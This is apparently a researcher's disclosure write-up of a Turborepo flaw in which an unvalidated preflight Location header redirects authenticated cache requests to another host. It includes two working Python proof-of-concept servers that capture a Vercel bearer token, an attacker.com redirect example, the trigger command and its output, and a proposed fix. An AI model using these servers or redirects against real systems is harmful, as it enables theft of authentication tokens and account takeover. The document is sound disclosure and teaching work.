Introduction

While auditing the source code of Turborepo I came across an interesting feature called preflight. It's an optional mechanism that adds an extra HTTP round trip before every remote cache request. The more I read about how it worked, the more I realized something was wrong with how it handled server responses.

Twenty minutes later I had a working exploit that stole Vercel authentication tokens. Here's the full technical breakdown.

Target Overview

Turborepo is Vercel's open source build system for JavaScript and TypeScript monorepos. One of its core features is remote caching — storing build artifacts on a remote server so they can be reused across machines and CI runs.

To use remote caching, Turborepo authenticates every request using a Vercel API token. This token is sent with every cache upload and download. It is the most sensitive piece of data in the entire system.

The codebase is written in Rust. The HTTP client logic lives in:

crates/turborepo-api-client/src/lib.rs
crates/turborepo-api-client/src/retry.rs

The Preflight Feature

When --preflight is enabled, before making any real cache request Turborepo first sends an HTTP OPTIONS request to the configured API server. The server responds with metadata telling the client:

  • Where to send the actual request (Location header)
  • Whether to include the auth token (Access-Control-Allow-Headers)

This is the code that handles the preflight response in do_preflight() at line 667 of lib.rs:

let location = if let Some(location) = headers.get("Location") {
    let location = location.to_str()?;
    match Url::parse(location) {
        Ok(location_url) => location_url, // accepts any URL
        Err(url::ParseError::RelativeUrlWithoutBase) => Url::parse(&self.base_url)
            .join(location)?,
        Err(e) => {
            return Err(Error::InvalidUrl {
                url: location.to_string(),
                err: e,
            });
        }
    }
} else {
    response.url().clone()
};
let allowed_headers = headers
    .get("Access-Control-Allow-Headers")
    .map_or("", |h| h.to_str().unwrap_or(""));
let allow_auth = AUTHORIZATION_REGEX.is_match(allowed_headers);
Ok(PreflightResponse {
    location,
    allow_authorization_header: allow_auth,
})

The Location header is parsed and stored directly. No check that it belongs to the same host. No check that it uses HTTPS. No domain validation of any kind.

The Vulnerability

The returned location is then used in get_artifact() as the destination for the real request:

// location is now whatever the preflight server returned
request_url = preflight_response.location;
let mut request_builder = self
    .api_request(method, request_url)
    .header("User-Agent", self.user_agent.clone());
// token is sent to the attacker-controlled URL
if allow_auth {
    request_builder = request_builder.bearer_auth(token.expose());
}

Both location and allow_auth are fully controlled by the preflight server response. An attacker who controls the preflight server can:

  1. Return Location: http://attacker.com/steal
  2. Return Access-Control-Allow-Headers: Authorization
  3. Receive the real request with Authorization: Bearer <token> at their server

This is a classic SSRF combined with authentication token exfiltration.

Data Flow

do_preflight()
     │
     ├── OPTIONS → http://attacker:8888
     │
     ├── reads Location: http://attacker:9999  ← no validation
     │
     └── returns location = http://attacker:9999
get_artifact()
     │
     ├── request_url = preflight_response.location
     │
     └── PUT → http://attacker:9999
              Authorization: Bearer <token>  ← stolen

Building the Proof of Concept

I wrote two simple Python servers to confirm this was actually exploitable.

Preflight server — listens on port 8888 and returns a malicious Location header:

from http.server import HTTPServer, BaseHTTPRequestHandler
class Handler(BaseHTTPRequestHandler):
    def do_OPTIONS(self):
        self.send_response(200)
        self.send_header("Location", "http://localhost:9999/steal")
        self.send_header("Access-Control-Allow-Headers", "Authorization")
        self.end_headers()
        print("[!] Preflight hit! Redirecting to attacker...")
    def log_message(self, format, *args):
        pass
HTTPServer(("0.0.0.0", 8888), Handler).serve_forever()

Attacker server — listens on port 9999 and captures all incoming headers:

from http.server import HTTPServer, BaseHTTPRequestHandler
class Handler(BaseHTTPRequestHandler):
    def do_PUT(self):
        print("\n" + "="*60)
        print("[💀] TOKEN CAPTURED!")
        print("="*60)
        for header, value in self.headers.items():
            print(f"  {header}: {value}")
        print("="*60 + "\n")
        self.send_response(200)
        self.end_headers()
    def log_message(self, format, *args):
        pass
HTTPServer(("0.0.0.0", 9999), Handler).serve_forever()

Then triggered Turborepo with preflight enabled:

TURBO_API=http://localhost:8888 \
TURBO_TOKEN=THIS_IS_THE_SECRET_TOKEN \
TURBO_TEAM=team_test \
npx turbo run build --preflight --force

Result

The attacker server printed:

============================================================
[💀] TOKEN CAPTURED!
============================================================
  content-type: application/octet-stream
  x-artifact-duration: 54565
  user-agent: turbo 2.8.17 1.94.0-nightly linux x86_64
  content-length: 1119290
  authorization: Bearer THIS_IS_THE_SECRET_TOKEN
  host: localhost:9999
============================================================

The token was captured. And then it happened a second time:

============================================================
[💀] TOKEN CAPTURED!
============================================================
  authorization: Bearer THIS_IS_THE_SECRET_TOKEN
============================================================

The retry logic in retry.rs automatically retried the failed request — sending the token to the attacker server twice. The preflight server confirmed both hits:

[!] Preflight hit! Redirecting to attacker...
[!] Preflight hit! Redirecting to attacker...

Why The Token Was Sent Twice

The retry logic in retry.rs retries any request that receives a 5xx response:

if status.as_u16() >= 500 && status.as_u16() != 501 {
    return true; // retry
}

The attacker server returning a 500 response causes Turborepo to retry the request up to RETRY_MAX times — sending the token again each time. This makes the exploit more reliable and confirms it is not a one-time fluke.

Real World Attack Scenarios

For this vulnerability to be exploited, an attacker needs to control what TURBO_API points to. The following are realistic paths:

CI environment poisoningTURBO_API is commonly set as a CI environment variable. A malicious pull request or compromised CI plugin can override it.

Supply chain attack — A malicious npm package injects a .env file that overrides TURBO_API to point to an attacker-controlled server.

MitM on HTTP — If TURBO_API uses http:// instead of https://, a network attacker can intercept the preflight response and inject a malicious Location header. This attack path is made possible by a separate issue — the base_url is accepted without enforcing HTTPS.

Compromised self-hosted cache server — Many enterprise teams run their own Turborepo remote cache servers. If that server is compromised, the attacker controls every preflight response.

Impact

A stolen Vercel token allows an attacker to:

  • Access and exfiltrate all private remote cache artifacts
  • Call the Vercel API on behalf of the victim
  • Access team information, project details, and build outputs
  • Potentially deploy or modify Vercel projects depending on token scope

The Fix

Validate that the Location header URL returned by the preflight response stays on the same host as the configured base_url:

let base_host = Url::parse(&self.base_url)
    .map_err(|err| Error::InvalidUrl {
        url: self.base_url.clone(),
        err,
    })?
    .host()
    .map(|h| h.to_owned());
if location_url.host().map(|h| h.to_owned()) != base_host {
    return Err(Error::InvalidUrl {
        url: location.to_string(),
        err: url::ParseError::SetHostOnCannotBeABaseUrl,
    });
}

One host comparison check. That is all it takes to prevent this vulnerability.

Disclosure Timeline

Date Event March 14, 2026 Vulnerability discovered during source code audit March 15, 2026 Report submitted to HackerOne (#3605285) March 15, 2026 Closed as duplicate of #3540006

Conclusion

This vulnerability demonstrates how a missing host validation check in a redirect-following mechanism can lead to full authentication token exfiltration. The preflight feature trusts the server it is talking to completely — including when that server redirects it somewhere else entirely.

The bug was independently discovered and confirmed as a valid High severity finding. It was closed as a duplicate of a prior report, indicating it had already been identified by another researcher and was being tracked by the Vercel security team.

For researchers looking to get into source code auditing — Rust codebases are very readable once you get used to the syntax. Focus on functions that handle HTTP responses and look for places where server-controlled values flow into subsequent requests without validation. That is exactly the pattern that led to this finding.

Key Takeaways

Read HTTP response handlers carefully. Any value that comes back from a server and gets used in a subsequent request is a potential attack vector — especially Location, Redirect, and URL fields.

Trace the full data flow. The bug was not in one function. It required understanding how do_preflight() fed into get_artifact() and how allow_auth was also server-controlled.

Build the PoC immediately. Two Python files, twenty minutes. Without the working exploit this would have been a theoretical finding. With it, it became a confirmed High severity vulnerability.

Duplicates mean you are sharp. Getting a duplicate means you independently found the same vulnerability a skilled researcher found before you. That is not failure — that is validation.

Vulnerability found: March 14, 2026 Program: HackerOne — Vercel Open Source Report: #3605285 Outcome: Duplicate of #3540006 Severity: High — CVSS 4.0 (7.0)

All testing was performed on a local environment using a test Turborepo project. No production systems were accessed during this research.